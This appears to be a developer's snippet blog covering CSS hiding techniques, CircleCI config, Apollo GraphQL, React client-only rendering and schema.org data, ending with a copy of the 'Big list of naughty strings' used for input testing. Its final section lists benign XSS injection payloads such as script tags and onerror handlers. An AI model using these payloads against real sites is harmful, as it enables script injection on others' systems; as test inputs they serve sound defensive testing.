See the Pen{' '} <a href="https://codepen.io/andybelldesign/pen/OJXEWyO">Flow utility</a> by Andy Bell (<a href="https://codepen.io/andybelldesign">@andybelldesign</a>) on{' '} <a href="https://codepen.io">CodePen</a>. </iframe>

Showing/hiding content

Zander Martineau — Tue, 29 Dec 2020 00:00:00 GMT

Hide from all users

a {
  display: none;
  /* or */
  visibility: hidden;
}

or by using the hidden attribute

<div hidden />

Visually hidden

..but still accessible to assistive technologies.

The :not portions of the selector are allowing a means for any focusable element to become visible when focused/active by a user. So elements that normally can’t receive focus, like paragraphs, will not become visible if a user navigates through content via screen reader controls or the Tab key, but natively focusable elements, or elements with a non-negative tabindex will have these elements appear in the DOM on focus.

/* ie9+ */
.visually-hidden:not(:focus):not(:active) {
  clip: rect(0 0 0 0);
  clip-path: inset(50%);
  height: 1px;
  overflow: hidden;
  position: absolute;
  white-space: nowrap;
  width: 1px;
}

If you need to visually hide everything, including focusable elements, remove :not(:focus) from the selector.

Hide from assistive technology

The aria-hidden="true" attribute produces the opposite effect of the .visually-hidden class. It hides content from assistive technology, but not visually. This can be helpful in cases where there are visual cues that screen readers do not need to announce, such as decorative icons that accompany text labels.

Useful links:

https://www.scottohara.me/blog/2017/04/14/inclusively-hidden.html
https://www.a11yproject.com/posts/2013-01-11-how-to-hide-content
https://webaim.org/techniques/css/invisiblecontent

Test structure

Zander Martineau — Tue, 29 Dec 2020 00:00:00 GMT

https://gist.github.com/mrmartineau/84b2979d428b7581c65786f032f96a62

https://www.reddit.com/r/node/comments/fp7vqk/how_do_you_structure_your_tests_in_a_suite/

https://twitter.com/goldbergyoni/status/1243153689734533120

CircleCI

Zander Martineau — Wed, 04 Nov 2020 00:00:00 GMT

Basic example

version: 2

references:
  npm_auth: &npm_auth
    run:
      name: Authenticate with registry
      command: echo "//registry.npmjs.org/:_authToken=$NPM_TOKEN" > ~/.npmrc

jobs:
  build:
    docker:
      - image: circleci/node:13.1.0-stretch
    steps:
      - checkout
      - *npm_auth
      - restore_cache: # special step to restore the dependency cache
          # Read about caching dependencies: https://circleci.com/docs/2.0/caching/
          key: dependency-cache-{{ checksum "yarn.lock" | escape }}
      - run:
          name: install
          command: yarn install
      - save_cache: # special step to save the dependency cache
          key: dependency-cache-{{ checksum "yarn.lock" | escape }}
          paths:
            - ./node_modules
      - run:
          name: build
          command: yarn build
      - run:
          name: test
          command: yarn test
  deploy-chromatic:
    docker:
      - image: circleci/node:lts
    steps:
      - checkout
      - *npm_auth
      - attach_workspace:
          at: .
      - run:
          name: 'Trigger Chromatic release'
          command: |
            if [ "${CIRCLE_BRANCH}" != "master" ];
            then
              yarn chromatic:ci -a $CHROMATIC_PROJECT_TOKEN --exit-zero-on-changes --exit-once-uploaded
            else
              # We know any changes that make it to master *must* have been accepted
              yarn chromatic:ci -a $CHROMATIC_PROJECT_TOKEN --exit-once-uploaded --auto-accept-changes
            fi

workflows:
  version: 2
  build-test:
    jobs:
      - build

Using the CircleCI tool locally

# run a particular job locally
circleci local execute --job build -e NPM_TOKEN=9e012519-aba7-4372-8381-abcdefghijkl

# validate a config locally
circleci config validate

iOS Safari bug

Zander Martineau — Sun, 13 Sep 2020 00:00:00 GMT

This solves the popular problem when 100vh doesn’t fit the mobile browser screen.

body {
  height: 100vh;
  // or
  min-height: 100vh;
}

@supports (-webkit-touch-callout: none) {
  body {
    height: -webkit-fill-available;
  }
}

SSR

Zander Martineau — Sun, 06 Sep 2020 00:00:00 GMT

Use this to check if window is defined

const windowGlobal = typeof window !== 'undefined' && window

Useful libraries when working with SSR:

https://github.com/react-corekit/use-where

HTTP Methods

Zander Martineau — Wed, 12 Aug 2020 00:00:00 GMT

HTTP defines a set of request methods to indicate the desired action to be performed for a given resource. Although they can also be nouns, these request methods are sometimes referred to as HTTP verbs. Each of them implements a different semantic, but some common features are shared by a group of them: e.g. a request method can be safe, idempotent, or cacheable.

GET

The GET method requests a representation of the specified resource. Requests using GET should only retrieve data.

HEAD

The HEAD method asks for a response identical to that of a GET request, but without the response body.

POST

The POST method is used to submit an entity to the specified resource, often causing a change in state or side effects on the server.

PUT

The PUT method replaces all current representations of the target resource with the request payload.

DELETE

The DELETE method deletes the specified resource.

CONNECT

The CONNECT method establishes a tunnel to the server identified by the target resource.

OPTIONS

The OPTIONS method is used to describe the communication options for the target resource.

TRACE

The TRACE method performs a message loop-back test along the path to the target resource.

PATCH

The PATCH method is used to apply partial modifications to a resource.

Get selected text

Zander Martineau — Tue, 04 Aug 2020 00:00:00 GMT

document.onselectionchange = () => {
  const text = document.getSelection().toString()
  console.log(text)
}

Apollo GraphQL

Zander Martineau — Thu, 25 Jun 2020 00:00:00 GMT

Queries

Queries docs

import gql from 'graphql-tag'

const GET_DOGS = gql`
  {
    dogs {
      id
      breed
    }
  }
`

useQuery hook

useQuery Docs

import { useQuery } from '@apollo/react-hooks'

const { data, loading, error } = useQuery(GET_DOGS)

// useQuery with a `variable`
const { data, loading, error } = useQuery(GET_DOG_PHOTO, {
  variables: { breed },
})

Example component

const Dogs = ({ onDogSelected }) => {
  const { data, loading, error } = useQuery(GET_DOGS)

  if (loading) {
    return <Loader />
  }

  if (error) {
    return <p>Error {JSON.stringify(error, null, 2)}</p>
  }

  return (
    <select name="dog" onChange={onDogSelected}>
      {data.dogs.map((dog) => (
        <option key={dog.id} value={dog.breed}>
          {dog.breed}
        </option>
      ))}
    </select>
  )
}

Mutations

Mutations docs

Queries enable clients to fetch data, but not to modify data. To enable clients to modify data, our schema needs to define some mutations.

useMutation hook

useMutation Docs

import { useMutation } from '@apollo/react-hooks'

const [addTodo, { data, loading, error }] = useMutation(ADD_TODO)

// usage
addTodo({ variables: { type: 'some value' } })

Example component

import gql from 'graphql-tag'
import { useMutation } from '@apollo/react-hooks'

const ADD_TODO = gql`
  mutation AddTodo($type: String!) {
    addTodo(type: $type) {
      id
      type
    }
  }
`

const AddTodo = () => {
  let input
  const [addTodo, { data }] = useMutation(ADD_TODO)

  return (
    <div>
      <form
        onSubmit={(e) => {
          e.preventDefault()
          addTodo({ variables: { type: input.value } })
          input.value = ''
        }}
      >
        <input
          ref={(node) => {
            input = node
          }}
        />
        <button type="submit">Add Todo</button>
      </form>
    </div>
  )
}

Updating the cache

If a mutation modifies multiple entities, or if it creates or deletes entities, the Apollo Client cache is not automatically updated to reflect the result of the mutation. To resolve this, your call to useMutation can include an update function.

The purpose of an update function is to modify your cached data to match the modifications that a mutation makes to your back-end data. In the example in Executing a mutation, the update function for the ADD_TODO mutation should add the same item to our cached version of the to-do list.

const GET_TODOS = gql`
  query GetTodos {
    todos
  }
`

const AddTodo = () => {
  let input
  const [addTodo] = useMutation(ADD_TODO, {
    update(cache, { data: { addTodo } }) {
      const { todos } = cache.readQuery({ query: GET_TODOS })
      cache.writeQuery({
        query: GET_TODOS,
        data: { todos: todos.concat([addTodo]) },
      })
    },
  })

  return (
    <div>
      <form
        onSubmit={(e) => {
          e.preventDefault()
          addTodo({ variables: { type: input.value } })
          input.value = ''
        }}
      >
        <input
          ref={(node) => {
            input = node
          }}
        />
        <button type="submit">Add Todo</button>
      </form>
    </div>
  )
}

Fragments

Fragments docs

fragment NameParts on Person {
  firstName
  lastName
}

query GetPerson {
  people(id: "7") {
    ...NameParts
    avatar(size: LARGE)
  }
}

Resolvers

Resolvers provide the instructions for turning a GraphQL operation (a query, mutation, or subscription) into data. They either return the same type of data we specify in our schema or a promise for that data.

Before we can start writing resolvers, we need to learn more about what a resolver function looks like. Resolver functions accept four arguments:

fieldName: (parent, args, context, info) => data

parent: An object that contains the result returned from the resolver on the parent type
args: An object that contains the arguments passed to the field
context: An object shared by all resolvers in a GraphQL operation. We use the context to contain per-request state such as authentication information and access our data sources.
info: Information about the execution state of the operation which should only be used in advanced cases

Better mobile form inputs

Zander Martineau — Tue, 23 Jun 2020 00:00:00 GMT

This web-app makes it easy to know which form input we should use.

</iframe>

Client-only React

Zander Martineau — Thu, 11 Jun 2020 00:00:00 GMT

A client-only wrapper component

export const ClientOnly = ({ children, ...delegated }) => {
  const [hasMounted, setHasMounted] = React.useState(false)
  React.useEffect(() => {
    setHasMounted(true)
  }, [])
  if (!hasMounted) {
    return null
  }
  return <div {...delegated}>{children}</div>
}

Use like so:

<ClientOnly>
  <Navigation />
</ClientOnly>

or you could use a hook:

export const useHasMounted = () => {
  const [hasMounted, setHasMounted] = React.useState(false)
  React.useEffect(() => {
    setHasMounted(true)
  }, [])
  return hasMounted
}

Which could be used like so:

function Navigation() {
  const hasMounted = useHasMounted()
  if (!hasMounted) {
    return null
  }

  const user = getUser()

  if (user) {
    return <AuthenticatedNav user={user} />
  }

  return (
    <nav>
      <a href="/login">Login</a>
    </nav>
  )
}

Schema.org structured data

Zander Martineau — Thu, 04 Jun 2020 00:00:00 GMT

JSON-LD

Article

https://developers.google.com/search/docs/data-types/article

<script type="application/ld+json">
  {
    "@context": "https://schema.org",
    "@type": "NewsArticle",
    "mainEntityOfPage": {
      "@type": "WebPage",
      "@id": "https://google.com/article"
    },
    "headline": "Article headline",
    "image": [
      "https://example.com/photos/1x1/photo.jpg",
      "https://example.com/photos/4x3/photo.jpg",
      "https://example.com/photos/16x9/photo.jpg"
    ],
    "datePublished": "2015-02-05T08:00:00+08:00",
    "dateModified": "2015-02-05T09:20:00+08:00",
    "author": {
      "@type": "Person",
      "name": "John Doe"
    },
    "publisher": {
      "@type": "Organization",
      "name": "Google",
      "logo": {
        "@type": "ImageObject",
        "url": "https://google.com/logo.jpg"
      }
    }
  }
</script>

Product

https://developers.google.com/search/docs/data-types/product

<script type="application/ld+json">
  {
    "@context": "https://schema.org/",
    "@type": "Product",
    "name": "Executive Anvil",
    "image": [
      "https://example.com/photos/1x1/photo.jpg",
      "https://example.com/photos/4x3/photo.jpg",
      "https://example.com/photos/16x9/photo.jpg"
    ],
    "description": "Sleeker than ACME's Classic Anvil, the Executive Anvil is perfect for the business traveler looking for something to drop from a height.",
    "sku": "0446310786",
    "mpn": "925872",
    "brand": {
      "@type": "Brand",
      "name": "ACME"
    },
    "review": {
      "@type": "Review",
      "reviewRating": {
        "@type": "Rating",
        "ratingValue": "4",
        "bestRating": "5"
      },
      "author": {
        "@type": "Person",
        "name": "Fred Benson"
      }
    },
    "aggregateRating": {
      "@type": "AggregateRating",
      "ratingValue": "4.4",
      "reviewCount": "89"
    },
    "offers": {
      "@type": "Offer",
      "url": "https://example.com/anvil",
      "priceCurrency": "USD",
      "price": "119.99",
      "priceValidUntil": "2020-11-20",
      "itemCondition": "https://schema.org/UsedCondition",
      "availability": "https://schema.org/InStock",
      "seller": {
        "@type": "Organization",
        "name": "Executive Objects"
      }
    }
  }
</script>

Get file size for all files in directory

Zander Martineau — Wed, 27 May 2020 00:00:00 GMT

du -sh * | sort -hr

Async load CSS

Zander Martineau — Wed, 20 May 2020 00:00:00 GMT

<link rel="preload" href="/path/to/my.css" as="style" />
<link
  rel="stylesheet"
  href="/path/to/my.css"
  media="print"
  onload="this.media='all'"
/>

Rainbow links

Zander Martineau — Tue, 19 May 2020 00:00:00 GMT

.rainbow {
  background-image: linear-gradient(
    90deg,
    rgba(251, 89, 74, 1) 0%,
    rgba(251, 222, 75, 1) 25%,
    rgba(112, 228, 112, 1) 50%,
    rgba(51, 183, 255, 1) 75%
  );
  -webkit-background-clip: text;
  -webkit-text-fill-color: rgba(255, 255, 255, 0.46);
}

<a style={{ backgroundImage: linear-gradient( 90deg, rgba(251, 89, 74, 1) 0%, rgba(251, 222, 75, 1) 25%, rgba(112, 228, 112, 1) 50%, rgba(51, 183, 255, 1) 75% ), WebkitBackgroundClip: 'text', WebkitTextFillColor: 'rgba(255, 255, 255, 0.46)', }}

This is a rainbow link </a>

With object-styles:

<a
  style={{
    backgroundImage: `linear-gradient(
    90deg,
    rgba(251, 89, 74, 1) 0%,
    rgba(251, 222, 75, 1) 25%,
    rgba(112, 228, 112, 1) 50%,
    rgba(51, 183, 255, 1) 75%
  )`,
    WebkitBackgroundClip: 'text',
    WebkitTextFillColor: 'rgba(255, 255, 255, 0.46)',
  }}
>
  This is a rainbow link
</a>

Styling siblings on hover

Zander Martineau — Tue, 19 May 2020 00:00:00 GMT

Use the :not CSS selector to stylize siblings on hover.

Normally, you would need JavaScript to stylize all the siblings of an element you're interacting with. But wait! There's a cool method based 100% on CSS.

The idea, in short, is to target the :hover of the parent, then target all the children except the one you're hovering over.

.parent:hover .child:not(:hover) {
  /* this style affects all the children except the one you're hovering over */
}

<p class="codepen" data-height="265" data-theme-id="light" data-default-tab="result" data-user="codyhouse" data-slug-hash="KKdrmXj" style="height: 265px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;" data-pen-title="CSS Nugget: Styling siblings on hover"> <span>See the Pen <a href="https://codepen.io/codyhouse/pen/KKdrmXj"> CSS Nugget: Styling siblings on hover</a> by CodyHouse (<a href="https://codepen.io/codyhouse">@codyhouse</a>) on <a href="https://codepen.io">CodePen</a>.</span> </p> <script async src="https://static.codepen.io/assets/embed/ei.js"></script>

Big list of naughty strings

Zander Martineau — Mon, 11 May 2020 00:00:00 GMT

# Reserved Strings
#
# Strings which may be used elsewhere in code

undefined
undef
null
NULL
(null)
nil
NIL
true
false
True
False
TRUE
FALSE
None
hasOwnProperty
then
constructor
\
\\

# Numeric Strings
#
# Strings which can be interpreted as numeric

0
1
1.00
$1.00
1/2
1E2
1E02
1E+02
-1
-1.00
-$1.00
-1/2
-1E2
-1E02
-1E+02
1/0
0/0
-2147483648/-1
-9223372036854775808/-1
-0
-0.0
+0
+0.0
0.00
0..0
.
0.0.0
0,00
0,,0
,
0,0,0
0.0/0
1.0/0.0
0.0/0.0
1,0/0,0
0,0/0,0
--1
-
-.
-,
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
NaN
Infinity
-Infinity
INF
1#INF
-1#IND
1#QNAN
1#SNAN
1#IND
0x0
0xffffffff
0xffffffffffffffff
0xabad1dea
123456789012345678901234567890123456789
1,000.00
1 000.00
1'000.00
1,000,000.00
1 000 000.00
1'000'000.00
1.000,00
1 000,00
1'000,00
1.000.000,00
1 000 000,00
1'000'000,00
01000
08
09
2.2250738585072011e-308

# Special Characters
#
# ASCII punctuation.  All of these characters may need to be escaped in some
# contexts.  Divided into three groups based on (US-layout) keyboard position.

,./;'[]\-=
<>?:"{}|_+
!@#$%^&*()`~

# Non-whitespace C0 controls: U+0001 through U+0008, U+000E through U+001F,
# and U+007F (DEL)
# Often forbidden to appear in various text-based file formats (e.g. XML),
# or reused for internal delimiters on the theory that they should never
# appear in input.
# The next line may appear to be blank or mojibake in some viewers.


# Non-whitespace C1 controls: U+0080 through U+0084 and U+0086 through U+009F.
# Commonly misinterpreted as additional graphic characters.
# The next line may appear to be blank, mojibake, or dingbats in some viewers.


# Whitespace: all of the characters with category Zs, Zl, or Zp (in Unicode
# version 8.0.0), plus U+0009 (HT), U+000B (VT), U+000C (FF), U+0085 (NEL),
# and U+200B (ZERO WIDTH SPACE), which are in the C categories but are often
# treated as whitespace in some contexts.
# This file unfortunately cannot express strings containing
# U+0000, U+000A, or U+000D (NUL, LF, CR).
# The next line may appear to be blank or mojibake in some viewers.
# The next line may be flagged for "trailing whitespace" in some viewers.
                   　

# Unicode additional control characters: all of the characters with
# general category Cf (in Unicode 8.0.0).
# The next line may appear to be blank or mojibake in some viewers.
؀؁؂؃؄؅؜۝܏᠎‌‍‎‏‪‫‬‭‮⁠⁡⁢⁣⁤⁦⁧⁨⁩⁪⁫⁬⁭⁮⁯￹￺￻𑂽𛲠𛲡𛲢𛲣𝅳𝅴𝅵𝅶𝅷𝅸𝅹𝅺󠀁󠀠󠀡󠀢󠀣󠀤󠀥󠀦󠀧󠀨󠀩󠀪󠀫󠀬󠀭󠀮󠀯󠀰󠀱󠀲󠀳󠀴󠀵󠀶󠀷󠀸󠀹󠀺󠀻󠀼󠀽󠀾󠀿󠁀󠁁󠁂󠁃󠁄󠁅󠁆󠁇󠁈󠁉󠁊󠁋󠁌󠁍󠁎󠁏󠁐󠁑󠁒󠁓󠁔󠁕󠁖󠁗󠁘󠁙󠁚󠁛󠁜󠁝󠁞󠁟󠁠󠁡󠁢󠁣󠁤󠁥󠁦󠁧󠁨󠁩󠁪󠁫󠁬󠁭󠁮󠁯󠁰󠁱󠁲󠁳󠁴󠁵󠁶󠁷󠁸󠁹󠁺󠁻󠁼󠁽󠁾󠁿

# "Byte order marks", U+FEFF and U+FFFE, each on its own line.
# The next two lines may appear to be blank or mojibake in some viewers.



# Unicode Symbols
#
# Strings which contain common unicode symbols (e.g. smart quotes)

Ω≈ç√∫˜µ≤≥÷
åß∂ƒ©˙∆˚¬…æ
œ∑´®†¥¨ˆøπ“‘
¡™£¢∞§¶•ªº–≠
¸˛Ç◊ı˜Â¯˘¿
ÅÍÎÏ˝ÓÔÒÚÆ☃
Œ„´‰ˇÁ¨ˆØ∏”’
`⁄€‹›ﬁﬂ‡°·‚—±
⅛⅜⅝⅞
ЁЂЃЄЅІЇЈЉЊЋЌЍЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюя
٠١٢٣٤٥٦٧٨٩

# Unicode Subscript/Superscript/Accents
#
# Strings which contain unicode subscripts/superscripts; can cause rendering issues

⁰⁴⁵
₀₁₂
⁰⁴⁵₀₁₂
ด้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็ ด้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็ ด้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็

# Quotation Marks
#
# Strings which contain misplaced quotation marks; can cause encoding errors

'
"
''
""
'"'
"''''"'"
"'"'"''''"
<foo val=“bar” />
<foo val=“bar” />
<foo val=”bar“ />
<foo val=`bar' />

# Two-Byte Characters
#
# Strings which contain two-byte characters: can cause rendering issues or character-length issues

田中さんにあげて下さい
パーティーへ行かないか
和製漢語
部落格
사회과학원 어학연구소
찦차를 타고 온 펲시맨과 쑛다리 똠방각하
社會科學院語學研究所
울란바토르
𠜎𠜱𠝹𠱓𠱸𠲖𠳏

# Strings which contain two-byte letters: can cause issues with naïve UTF-16 capitalizers which think that 16 bits == 1 character

𐐜 𐐔𐐇𐐝𐐀𐐡𐐇𐐓 𐐙𐐊𐐡𐐝𐐓/𐐝𐐇𐐗𐐊𐐤𐐔 𐐒𐐋𐐗 𐐒𐐌 𐐜 𐐡𐐀𐐖𐐇𐐤𐐓𐐝 𐐱𐑂 𐑄 𐐔𐐇𐐝𐐀𐐡𐐇𐐓 𐐏𐐆𐐅𐐤𐐆𐐚𐐊𐐡𐐝𐐆𐐓𐐆

# Special Unicode Characters Union
#
# A super string recommended by VMware Inc. Globalization Team: can effectively cause rendering issues or character-length issues to validate product globalization readiness.
#
# 表          CJK_UNIFIED_IDEOGRAPHS (U+8868)
# ポ          KATAKANA LETTER PO (U+30DD)
# あ          HIRAGANA LETTER A (U+3042)
# A           LATIN CAPITAL LETTER A (U+0041)
# 鷗          CJK_UNIFIED_IDEOGRAPHS (U+9DD7)
# Œ           LATIN SMALL LIGATURE OE (U+0153)
# é           LATIN SMALL LETTER E WITH ACUTE (U+00E9)
# Ｂ           FULLWIDTH LATIN CAPITAL LETTER B (U+FF22)
# 逍          CJK_UNIFIED_IDEOGRAPHS (U+900D)
# Ü           LATIN SMALL LETTER U WITH DIAERESIS (U+00FC)
# ß           LATIN SMALL LETTER SHARP S (U+00DF)
# ª           FEMININE ORDINAL INDICATOR (U+00AA)
# ą           LATIN SMALL LETTER A WITH OGONEK (U+0105)
# ñ           LATIN SMALL LETTER N WITH TILDE (U+00F1)
# 丂          CJK_UNIFIED_IDEOGRAPHS (U+4E02)
# 㐀          CJK Ideograph Extension A, First (U+3400)
# 𠀀          CJK Ideograph Extension B, First (U+20000)

表ポあA鷗ŒéＢ逍Üßªąñ丂㐀𠀀

# Changing length when lowercased
#
# Characters which increase in length (2 to 3 bytes) when lowercased
# Credit: https://twitter.com/jifa/status/625776454479970304

Ⱥ
Ⱦ

# Japanese Emoticons
#
# Strings which consists of Japanese-style emoticons which are popular on the web

ヽ༼ຈل͜ຈ༽ﾉ ヽ༼ຈل͜ຈ༽ﾉ
(｡◕ ∀ ◕｡)
｀ｨ(´∀｀∩
__ﾛ(,_,*)
・(￣∀￣)・:*:
ﾟ･✿ヾ╲(｡◕‿◕｡)╱✿･ﾟ
,。・:*:・゜’( ☻ ω ☻ )。・:*:・゜’
(╯°□°）╯︵ ┻━┻)
(ﾉಥ益ಥ）ﾉ ┻━┻
┬─┬ノ( º _ ºノ)
( ͡° ͜ʖ ͡°)
¯\_(ツ)_/¯

# Emoji
#
# Strings which contain Emoji; should be the same behavior as two-byte characters, but not always

😍
👩🏽
👨‍🦰 👨🏿‍🦰 👨‍🦱 👨🏿‍🦱 🦹🏿‍♂️
👾 🙇 💁 🙅 🙆 🙋 🙎 🙍
🐵 🙈 🙉 🙊
❤️ 💔 💌 💕 💞 💓 💗 💖 💘 💝 💟 💜 💛 💚 💙
✋🏿 💪🏿 👐🏿 🙌🏿 👏🏿 🙏🏿
🚾 🆒 🆓 🆕 🆖 🆗 🆙 🏧
0️⃣ 1️⃣ 2️⃣ 3️⃣ 4️⃣ 5️⃣ 6️⃣ 7️⃣ 8️⃣ 9️⃣ 🔟

#       Regional Indicator Symbols
#
#       Regional Indicator Symbols can be displayed differently across
#       fonts, and have a number of special behaviors

🇺🇸🇷🇺🇸 🇦🇫🇦🇲🇸
🇺🇸🇷🇺🇸🇦🇫🇦🇲
🇺🇸🇷🇺🇸🇦

# Unicode Numbers
#
# Strings which contain unicode numbers; if the code is localized, it should see the input as numeric

１２３
١٢٣

# Right-To-Left Strings
#
# Strings which contain text that should be rendered RTL if possible (e.g. Arabic, Hebrew)

ثم نفس سقطت وبالتحديد،, جزيرتي باستخدام أن دنو. إذ هنا؟ الستار وتنصيب كان. أهّل ايطاليا، بريطانيا-فرنسا قد أخذ. سليمان، إتفاقية بين ما, يذكر الحدود أي بعد, معاملة بولندا، الإطلاق عل إيو.
בְּרֵאשִׁית, בָּרָא אֱלֹהִים, אֵת הַשָּׁמַיִם, וְאֵת הָאָרֶץ
הָיְתָהtestالصفحات التّحول
﷽
ﷺ
مُنَاقَشَةُ سُبُلِ اِسْتِخْدَامِ اللُّغَةِ فِي النُّظُمِ الْقَائِمَةِ وَفِيم يَخُصَّ التَّطْبِيقَاتُ الْحاسُوبِيَّةُ،
الكل في المجمو عة (5)

# Ogham Text
#
# The only unicode alphabet to use a space which isn't empty but should still act like a space.

᚛ᚄᚓᚐᚋᚒᚄ ᚑᚄᚂᚑᚏᚅ᚜
᚛                 ᚜

# Trick Unicode
#
# Strings which contain unicode with unusual properties (e.g. Right-to-left override) (c.f. http://www.unicode.org/charts/PDF/U2000.pdf)

‪‪test‪
‫test‫
 test 
test⁠test‫
⁦test⁧

# Zalgo Text
#
# Strings which contain "corrupted" text. The corruption will not appear in non-HTML text, however. (via http://www.eeemo.net)

Ṱ̺̺̕o͞ ̷i̲̬͇̪͙n̝̗͕v̟̜̘̦͟o̶̙̰̠kè͚̮̺̪̹̱̤ ̖t̝͕̳̣̻̪͞h̼͓̲̦̳̘̲e͇̣̰̦̬͎ ̢̼̻̱̘h͚͎͙̜̣̲ͅi̦̲̣̰̤v̻͍e̺̭̳̪̰-m̢iͅn̖̺̞̲̯̰d̵̼̟͙̩̼̘̳ ̞̥̱̳̭r̛̗̘e͙p͠r̼̞̻̭̗e̺̠̣͟s̘͇̳͍̝͉e͉̥̯̞̲͚̬͜ǹ̬͎͎̟̖͇̤t͍̬̤͓̼̭͘ͅi̪̱n͠g̴͉ ͏͉ͅc̬̟h͡a̫̻̯͘o̫̟̖͍̙̝͉s̗̦̲.̨̹͈̣
̡͓̞ͅI̗̘̦͝n͇͇͙v̮̫ok̲̫̙͈i̖͙̭̹̠̞n̡̻̮̣̺g̲͈͙̭͙̬͎ ̰t͔̦h̞̲e̢̤ ͍̬̲͖f̴̘͕̣è͖ẹ̥̩l͖͔͚i͓͚̦͠n͖͍̗͓̳̮g͍ ̨o͚̪͡f̘̣̬ ̖̘͖̟͙̮c҉͔̫͖͓͇͖ͅh̵̤̣͚͔á̗̼͕ͅo̼̣̥s̱͈̺̖̦̻͢.̛̖̞̠̫̰
̗̺͖̹̯͓Ṯ̤͍̥͇͈h̲́e͏͓̼̗̙̼̣͔ ͇̜̱̠͓͍ͅN͕͠e̗̱z̘̝̜̺͙p̤̺̹͍̯͚e̠̻̠͜r̨̤͍̺̖͔̖̖d̠̟̭̬̝͟i̦͖̩͓͔̤a̠̗̬͉̙n͚͜ ̻̞̰͚ͅh̵͉i̳̞v̢͇ḙ͎͟-҉̭̩̼͔m̤̭̫i͕͇̝̦n̗͙ḍ̟ ̯̲͕͞ǫ̟̯̰̲͙̻̝f ̪̰̰̗̖̭̘͘c̦͍̲̞͍̩̙ḥ͚a̮͎̟̙͜ơ̩̹͎s̤.̝̝ ҉Z̡̖̜͖̰̣͉̜a͖̰͙̬͡l̲̫̳͍̩g̡̟̼̱͚̞̬ͅo̗͜.̟
̦H̬̤̗̤͝e͜ ̜̥̝̻͍̟́w̕h̖̯͓o̝͙̖͎̱̮ ҉̺̙̞̟͈W̷̼̭a̺̪͍į͈͕̭͙̯̜t̶̼̮s̘͙͖̕ ̠̫̠B̻͍͙͉̳ͅe̵h̵̬͇̫͙i̹͓̳̳̮͎̫̕n͟d̴̪̜̖ ̰͉̩͇͙̲͞ͅT͖̼͓̪͢h͏͓̮̻e̬̝̟ͅ ̤̹̝W͙̞̝͔͇͝ͅa͏͓͔̹̼̣l̴͔̰̤̟͔ḽ̫.͕
Z̮̞̠͙͔ͅḀ̗̞͈̻̗Ḷ͙͎̯̹̞͓G̻O̭̗̮

# Unicode Upsidedown
#
# Strings which contain unicode with an "upsidedown" effect (via http://www.upsidedowntext.com)

˙ɐnbᴉlɐ ɐuƃɐɯ ǝɹolop ʇǝ ǝɹoqɐl ʇn ʇunpᴉpᴉɔuᴉ ɹodɯǝʇ poɯsnᴉǝ op pǝs 'ʇᴉlǝ ƃuᴉɔsᴉdᴉpɐ ɹnʇǝʇɔǝsuoɔ 'ʇǝɯɐ ʇᴉs ɹolop ɯnsdᴉ ɯǝɹo˥
00˙Ɩ$-

# Unicode font
#
# Strings which contain bold/italic/etc. versions of normal characters

Ｔｈｅ ｑｕｉｃｋ ｂｒｏｗｎ ｆｏｘ ｊｕｍｐｓ ｏｖｅｒ ｔｈｅ ｌａｚｙ ｄｏｇ
𝐓𝐡𝐞 𝐪𝐮𝐢𝐜𝐤 𝐛𝐫𝐨𝐰𝐧 𝐟𝐨𝐱 𝐣𝐮𝐦𝐩𝐬 𝐨𝐯𝐞𝐫 𝐭𝐡𝐞 𝐥𝐚𝐳𝐲 𝐝𝐨𝐠
𝕿𝖍𝖊 𝖖𝖚𝖎𝖈𝖐 𝖇𝖗𝖔𝖜𝖓 𝖋𝖔𝖝 𝖏𝖚𝖒𝖕𝖘 𝖔𝖛𝖊𝖗 𝖙𝖍𝖊 𝖑𝖆𝖟𝖞 𝖉𝖔𝖌
𝑻𝒉𝒆 𝒒𝒖𝒊𝒄𝒌 𝒃𝒓𝒐𝒘𝒏 𝒇𝒐𝒙 𝒋𝒖𝒎𝒑𝒔 𝒐𝒗𝒆𝒓 𝒕𝒉𝒆 𝒍𝒂𝒛𝒚 𝒅𝒐𝒈
𝓣𝓱𝓮 𝓺𝓾𝓲𝓬𝓴 𝓫𝓻𝓸𝔀𝓷 𝓯𝓸𝔁 𝓳𝓾𝓶𝓹𝓼 𝓸𝓿𝓮𝓻 𝓽𝓱𝓮 𝓵𝓪𝔃𝔂 𝓭𝓸𝓰
𝕋𝕙𝕖 𝕢𝕦𝕚𝕔𝕜 𝕓𝕣𝕠𝕨𝕟 𝕗𝕠𝕩 𝕛𝕦𝕞𝕡𝕤 𝕠𝕧𝕖𝕣 𝕥𝕙𝕖 𝕝𝕒𝕫𝕪 𝕕𝕠𝕘
𝚃𝚑𝚎 𝚚𝚞𝚒𝚌𝚔 𝚋𝚛𝚘𝚠𝚗 𝚏𝚘𝚡 𝚓𝚞𝚖𝚙𝚜 𝚘𝚟𝚎𝚛 𝚝𝚑𝚎 𝚕𝚊𝚣𝚢 𝚍𝚘𝚐
⒯⒣⒠ ⒬⒰⒤⒞⒦ ⒝⒭⒪⒲⒩ ⒡⒪⒳ ⒥⒰⒨⒫⒮ ⒪⒱⒠⒭ ⒯⒣⒠ ⒧⒜⒵⒴ ⒟⒪⒢

# Script Injection
#
# Strings which attempt to invoke a benign script injection; shows vulnerability to XSS

<script>alert(123)</script>
&lt;script&gt;alert(&#39;123&#39;);&lt;/script&gt;
<img src=x onerror=alert(123) />
<svg><script>123<1>alert(123)</script>
"><script>alert(123)</script>
'><script>alert(123)</script>
><script>alert(123)</script>
</script><script>alert(123)</script>
< / script >< script >alert(123)< / script >
 onfocus=JaVaSCript:alert(123) autofocus
" onfocus=JaVaSCript:alert(123) autofocus
' onfocus=JaVaSCript:alert(123) autofocus
＜script＞alert(123)＜/script＞
<sc<script>ript>alert(123)</sc</script>ript>
--><script>alert(123)</script>
";alert(123);t="
';alert(123);t='
JavaSCript:alert(123)
;alert(123);
src=JaVaSCript:prompt(132)
"><script>alert(123);</script x="
